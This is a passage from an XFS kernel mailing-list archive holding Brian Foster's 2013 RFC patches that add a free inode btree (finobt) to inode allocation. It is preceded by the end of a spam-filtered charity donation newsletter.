bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.63 X-Barracuda-Spam-Status: No, SCORE=2.63 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA424, HTML_IMAGE_ONLY_24, HTML_IMAGE_ONLY_24_2, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140230 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 HTML_IMAGE_ONLY_24_2 HTML: images with 2000-2400 bytes of words 0.80 BSF_SC0_SA424 Custom Rule SA424 --b1_3ec7046fc7d83eedf5ac34322a3d27a3 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: quoted-printable --------------------------------------------------------------------------= ------ This email newsletter was sent to you in graphical HTML format. If you're seeing this version, your email program prefers plain text = emails. You can read the original version online: http://ymlp328.net/zHOcwj --------------------------------------------------------------------------= ------ Mesamche Lev feeds the hungry, marries off orphans, and does everything possible to relieve the poor of their heaviest burdens. The poor and less fortunate depend on us- and on you. Yes, you. Click Here ( https://www.mesamchelev.org/ykippur.asp?yref=3Dcimentrosh ) or on the Ad Below to Help Relieve their Burden! Click Here ( https://www.mesamchelev.org/ykippur.asp?yref=3Dcimentrosh ) or on the Ad Above to Help Relieve their Burden! _____________________________ Unsubscribe / Change Profile: = http://ymlp328.net/ugbjysqjgsgmjbemgmggbheyee Powered by YourMailingListProvider --b1_3ec7046fc7d83eedf5ac34322a3d27a3 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: quoted-printable

Mesamche Lev feeds the = hungry, marries off  orphans, and does everything possible to relieve = the poor of their heaviest burdens. The = poor and less fortunate depend on us- and on you. Yes, = you. 

Click = Here or on the Ad Below to Help Relieve their = Burden!

Click = Here or on the Ad Above to Help Relieve their = Burden!

 


3D" --b1_3ec7046fc7d83eedf5ac34322a3d27a3-- From bfoster@redhat.com Tue Sep 3 13:25:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 87B797F52 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4C017304087 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04bdf02f20d47200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lyBEgLnQBmqPWUwM for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkVx027297 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkTC020563 for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 1F23112136D; Tue, 3 Sep 2013 14:25:08 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Date: Tue, 3 Sep 2013 14:24:58 -0400 X-ASG-Orig-Subj: [RFC PATCH 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Message-Id: <1378232708-57156-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The introduction of the free inode btree (finobt) requires that xfs_ialloc_btree.c handle multiple trees. Refactor xfs_ialloc_btree.c so the caller specifies the btree type on cursor initialization to prepare for addition of the finobt. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 8 ++++---- fs/xfs/xfs_ialloc_btree.c | 8 +++++--- fs/xfs/xfs_ialloc_btree.h | 3 ++- fs/xfs/xfs_itable.c | 6 ++++-- 4 files changed, 15 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index ccf2fb1..524aa88 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -455,7 +455,7 @@ xfs_ialloc_ag_alloc( /* * Insert records describing the new inode chunk into the btree. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); for (thisino = newino; thisino < newino + newlen; thisino += XFS_INODES_PER_CHUNK) { @@ -701,7 +701,7 @@ xfs_dialloc_ag( ASSERT(pag->pagi_freecount > 0); restart_pagno: - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); /* * If pagino is 0 (this is the root inode allocation) use newino. * This must work because we've just allocated some. @@ -1163,7 +1163,7 @@ xfs_difree( /* * Initialize the cursor. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_check_agi_freecount(cur, agi); if (error) @@ -1294,7 +1294,7 @@ xfs_imap_lookup( * we have a record, we need to ensure it contains the inode number * we are looking up. */ - cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i); if (!error) { if (i) diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 5448eb6..0cdb88b 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -50,7 +50,8 @@ xfs_inobt_dup_cursor( struct xfs_btree_cur *cur) { return xfs_inobt_init_cursor(cur->bc_mp, cur->bc_tp, - cur->bc_private.a.agbp, cur->bc_private.a.agno); + cur->bc_private.a.agbp, cur->bc_private.a.agno, + cur->bc_btnum); } STATIC void @@ -324,7 +325,8 @@ xfs_inobt_init_cursor( struct xfs_mount *mp, /* file system mount point */ struct xfs_trans *tp, /* transaction pointer */ struct xfs_buf *agbp, /* buffer for agi structure */ - xfs_agnumber_t agno) /* allocation group number */ + xfs_agnumber_t agno, /* allocation group number */ + xfs_btnum_t btnum) /* ialloc or free ino btree */ { struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); struct xfs_btree_cur *cur; @@ -334,7 +336,7 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; cur->bc_nlevels = be32_to_cpu(agi->agi_level); - cur->bc_btnum = XFS_BTNUM_INO; + cur->bc_btnum = btnum; cur->bc_blocklog = mp->m_sb.sb_blocklog; cur->bc_ops = &xfs_inobt_ops; diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index 3ac36b76..ce7a62b 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -107,7 +107,8 @@ typedef __be32 xfs_inobt_ptr_t; ((index) - 1) * sizeof(xfs_inobt_ptr_t))) extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, - struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); + struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t, + xfs_btnum_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); extern const struct xfs_buf_ops xfs_inobt_buf_ops; diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index b93e14b..e720f8b 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -275,7 +275,8 @@ xfs_bulkstat( /* * Allocate and initialize a btree cursor for ialloc btree. */ - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); irbp = irbuf; irbufend = irbuf + nirbuf; end_of_ag = 0; @@ -625,7 +626,8 @@ xfs_inumbers( agino = 0; continue; } - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno, + XFS_BTNUM_INO); error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &tmp); if (error) { -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A03567F53 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8FEBE8F8035 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cbb02c3bd18270001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id TmH1mgeCwwCQ1sFV for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlLm005968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r83IPkUd011559 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7908F123C69; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation Date: Tue, 3 Sep 2013 14:25:06 -0400 X-ASG-Orig-Subj: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation Message-Id: <1378232708-57156-10-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Replace xfs_dialloc_ag() with an implementation that looks for a record in the finobt. The finobt only tracks records with at least one free inode. This eliminates the need for the intra-ag scan in the original algorithm. Once the inode is allocated, update the finobt appropriately (possibly removing the record) as well as the inobt. Move the original xfs_dialloc_ag() algorithm to xfs_dialloc_ag_slow() and fall back as such if finobt support is not enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 136 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 135 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index e64a728..516f4af 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -708,7 +708,7 @@ xfs_ialloc_get_rec( * available. */ STATIC int -xfs_dialloc_ag( +xfs_dialloc_ag_slow( struct xfs_trans *tp, struct xfs_buf *agbp, xfs_ino_t parent, @@ -966,6 +966,140 @@ error0: return error; } +STATIC int +xfs_dialloc_ag( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_ino_t parent, + xfs_ino_t *inop) +{ + struct xfs_mount *mp = tp->t_mountp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); + struct xfs_perag *pag; + struct xfs_btree_cur *fcur; + struct xfs_btree_cur *icur; + struct xfs_inobt_rec_incore frec; + struct xfs_inobt_rec_incore irec; + xfs_ino_t ino; + int error; + int offset; + int i; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return xfs_dialloc_ag_slow(tp, agbp, parent, inop); + + pag = xfs_perag_get(mp, agno); + + /* + * If pagino is 0 (this is the root inode allocation) use newino. + * This must work because we've just allocated some. + */ + if (!pagino) + pagino = be32_to_cpu(agi->agi_newino); + + fcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + icur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); + + error = xfs_check_agi_freecount(fcur, agi); + if (error) + goto error; + error = xfs_check_agi_freecount(icur, agi); + if (error) + goto error; + + /* + * Search the finobt. + */ + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_LE, &i); + if (error) + goto error; + if (i == 0) { + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_GE, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + } + + error = xfs_inobt_get_rec(fcur, &frec, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + + offset = xfs_lowbit64(frec.ir_free); + ASSERT(offset >= 0); + ASSERT(offset < XFS_INODES_PER_CHUNK); + ASSERT((XFS_AGINO_TO_OFFSET(mp, frec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + ino = XFS_AGINO_TO_INO(mp, agno, frec.ir_startino + offset); + + /* + * Modify or remove the finobt record. + */ + frec.ir_free &= ~XFS_INOBT_MASK(offset); + frec.ir_freecount--; + if (frec.ir_freecount) + error = xfs_inobt_update(fcur, &frec); + else + error = xfs_btree_delete(fcur, &i); + if (error) + goto error; + + /* + * Lookup and modify the equivalent record in the inobt. + */ + error = xfs_inobt_lookup(icur, frec.ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + + error = xfs_inobt_get_rec(icur, &irec, &i); + if (error) + goto error; + XFS_WANT_CORRUPTED_GOTO(i == 1, error); + ASSERT((XFS_AGINO_TO_OFFSET(mp, irec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + + irec.ir_free &= ~XFS_INOBT_MASK(offset); + irec.ir_freecount--; + + XFS_WANT_CORRUPTED_GOTO((frec.ir_free == irec.ir_free) && + (frec.ir_freecount == irec.ir_freecount), + error); + + error = xfs_inobt_update(icur, &irec); + if (error) + goto error; + + /* + * Update the perag and superblock. + */ + be32_add_cpu(&agi->agi_freecount, -1); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); + pag->pagi_freecount--; + + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); + xfs_perag_put(pag); + + error = xfs_check_agi_freecount(fcur, agi); + if (error) + goto error; + error = xfs_check_agi_freecount(icur, agi); + if (error) + goto error; + + xfs_btree_del_cursor(icur, XFS_BTREE_NOERROR); + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); + *inop = ino; + return 0; +error: + xfs_perag_put(pag); + xfs_btree_del_cursor(icur, XFS_BTREE_ERROR); + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); + return error; +} + /* * Allocate an inode on disk. * -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 84A0B7F50 for ; Tue, 3 Sep 2013 13:25:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 57196304089 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04bdf02f23d47210001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gEIaRpUObWqBcZ6z for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkQ3031075 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkE0021382 for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 27C31120566; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Date: Tue, 3 Sep 2013 14:25:00 -0400 X-ASG-Orig-Subj: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-Id: <1378232708-57156-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define the AGI fields for the finobt root/level and add magic numbers. Update the btree code to add support for the new XFS_BTNUM_FINOBT inode btree. The finobt root block is reserved immediately following the inobt root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the starting AG data block based on whether finobt support is enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ag.h | 7 ++++++- fs/xfs/xfs_btree.c | 6 ++++-- fs/xfs/xfs_btree.h | 3 +++ fs/xfs/xfs_ialloc.c | 2 ++ fs/xfs/xfs_ialloc_btree.c | 29 +++++++++++++++++++++++------ fs/xfs/xfs_ialloc_btree.h | 14 +++++++++++++- fs/xfs/xfs_log_recover.c | 2 ++ fs/xfs/xfs_stats.h | 18 +++++++++++++++++- fs/xfs/xfs_types.h | 2 +- 9 files changed, 71 insertions(+), 12 deletions(-) diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 1cb740a..b85585d 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -166,6 +166,9 @@ typedef struct xfs_agi { __be32 agi_pad32; __be64 agi_lsn; /* last write sequence */ + __be32 agi_free_root; /* root of the free inode btree */ + __be32 agi_free_level;/* levels in free inode btree */ + /* structure must be padded to 64 bit alignment */ } xfs_agi_t; @@ -180,7 +183,9 @@ typedef struct xfs_agi { #define XFS_AGI_NEWINO 0x00000100 #define XFS_AGI_DIRINO 0x00000200 #define XFS_AGI_UNLINKED 0x00000400 -#define XFS_AGI_NUM_BITS 11 +#define XFS_AGI_FREE_ROOT 0x00000800 +#define XFS_AGI_FREE_LEVEL 0x00001000 +#define XFS_AGI_NUM_BITS 13 #define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) /* disk block (xfs_daddr_t) in the AG */ diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 7a2b4da..0090e3f 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -45,9 +45,10 @@ kmem_zone_t *xfs_btree_cur_zone; * Btree magic numbers. */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { - { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC }, + { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, + XFS_FIBT_MAGIC }, { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, - XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC } + XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ xfs_magics[!!((cur)->bc_flags & XFS_BTREE_CRC_BLOCKS)][cur->bc_btnum] @@ -1102,6 +1103,7 @@ xfs_btree_set_refs( xfs_buf_set_ref(bp, XFS_ALLOC_BTREE_REF); break; case XFS_BTNUM_INO: + case XFS_BTNUM_FINO: xfs_buf_set_ref(bp, XFS_INO_BTREE_REF); break; case XFS_BTNUM_BMAP: diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h index c8473c7..939002d 100644 --- a/fs/xfs/xfs_btree.h +++ b/fs/xfs/xfs_btree.h @@ -37,6 +37,7 @@ extern kmem_zone_t *xfs_btree_cur_zone; #define XFS_BTNUM_CNT ((xfs_btnum_t)XFS_BTNUM_CNTi) #define XFS_BTNUM_BMAP ((xfs_btnum_t)XFS_BTNUM_BMAPi) #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) +#define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) /* * Generic btree header. @@ -144,6 +145,7 @@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(abtc, stat); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -157,6 +159,7 @@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(abtc, stat, val); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 524aa88..5ced506 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1505,6 +1505,8 @@ xfs_ialloc_log_agi( offsetof(xfs_agi_t, agi_newino), offsetof(xfs_agi_t, agi_dirino), offsetof(xfs_agi_t, agi_unlinked), + offsetof(xfs_agi_t, agi_free_root), + offsetof(xfs_agi_t, agi_free_level), sizeof(xfs_agi_t) }; #ifdef DEBUG diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 0cdb88b..7923292 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -62,10 +62,18 @@ xfs_inobt_set_root( { struct xfs_buf *agbp = cur->bc_private.a.agbp; struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); - - agi->agi_root = nptr->s; - be32_add_cpu(&agi->agi_level, inc); - xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); + int fields; + + if (cur->bc_btnum == XFS_BTNUM_INO) { + agi->agi_root = nptr->s; + be32_add_cpu(&agi->agi_level, inc); + fields = XFS_AGI_ROOT | XFS_AGI_LEVEL; + } else { + agi->agi_free_root = nptr->s; + be32_add_cpu(&agi->agi_free_level, inc); + fields = XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL; + } + xfs_ialloc_log_agi(cur->bc_tp, agbp, fields); } STATIC int @@ -172,7 +180,10 @@ xfs_inobt_init_ptr_from_cur( ASSERT(cur->bc_private.a.agno == be32_to_cpu(agi->agi_seqno)); - ptr->s = agi->agi_root; + if (cur->bc_btnum == XFS_BTNUM_INO) + ptr->s = agi->agi_root; + else + ptr->s = agi->agi_free_root; } STATIC __int64_t @@ -205,6 +216,7 @@ xfs_inobt_verify( */ switch (block->bb_magic) { case cpu_to_be32(XFS_IBT_CRC_MAGIC): + case cpu_to_be32(XFS_FIBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -216,6 +228,7 @@ xfs_inobt_verify( return false; /* fall through */ case cpu_to_be32(XFS_IBT_MAGIC): + case cpu_to_be32(XFS_FIBT_MAGIC): break; default: return 0; @@ -335,8 +348,12 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; - cur->bc_nlevels = be32_to_cpu(agi->agi_level); cur->bc_btnum = btnum; + if (btnum == XFS_BTNUM_INO) + cur->bc_nlevels = be32_to_cpu(agi->agi_level); + else + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); + cur->bc_blocklog = mp->m_sb.sb_blocklog; cur->bc_ops = &xfs_inobt_ops; diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index ce7a62b..33d6dd4 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -31,6 +31,8 @@ struct xfs_mount; */ #define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ #define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ +#define XFS_FIBT_MAGIC 0x46494254 /* 'FIBT' */ +#define XFS_FIBT_CRC_MAGIC 0x46494233 /* 'FIB3' */ typedef __uint64_t xfs_inofree_t; #define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) @@ -73,7 +75,17 @@ typedef __be32 xfs_inobt_ptr_t; * block numbers in the AG. */ #define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) + +/* + * The first data block of an AG depends on whether the filesystem was formatted + * with the finobt feature. If so, account for the finobt reserved root btree + * block. + */ +#define XFS_PREALLOC_BLOCKS(mp) \ + (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ + XFS_FIBT_BLOCK(mp) + 1 : \ + XFS_IBT_BLOCK(mp) + 1) /* * Btree block header size depends on a superblock flag. diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 7c0c1fd..b8f16d2 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2088,7 +2088,9 @@ xlog_recover_validate_buf_type( bp->b_ops = &xfs_allocbt_buf_ops; break; case XFS_IBT_CRC_MAGIC: + case XFS_FIBT_CRC_MAGIC: case XFS_IBT_MAGIC: + case XFS_FIBT_MAGIC: bp->b_ops = &xfs_inobt_buf_ops; break; case XFS_BMAP_CRC_MAGIC: diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c03ad38..c8f238b 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -183,7 +183,23 @@ struct xfsstats { __uint32_t xs_ibt_2_alloc; __uint32_t xs_ibt_2_free; __uint32_t xs_ibt_2_moves; -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_IBT_V2+6) +#define XFSSTAT_END_FIBT_V2 (XFSSTAT_END_IBT_V2+15) + __uint32_t xs_fibt_2_lookup; + __uint32_t xs_fibt_2_compare; + __uint32_t 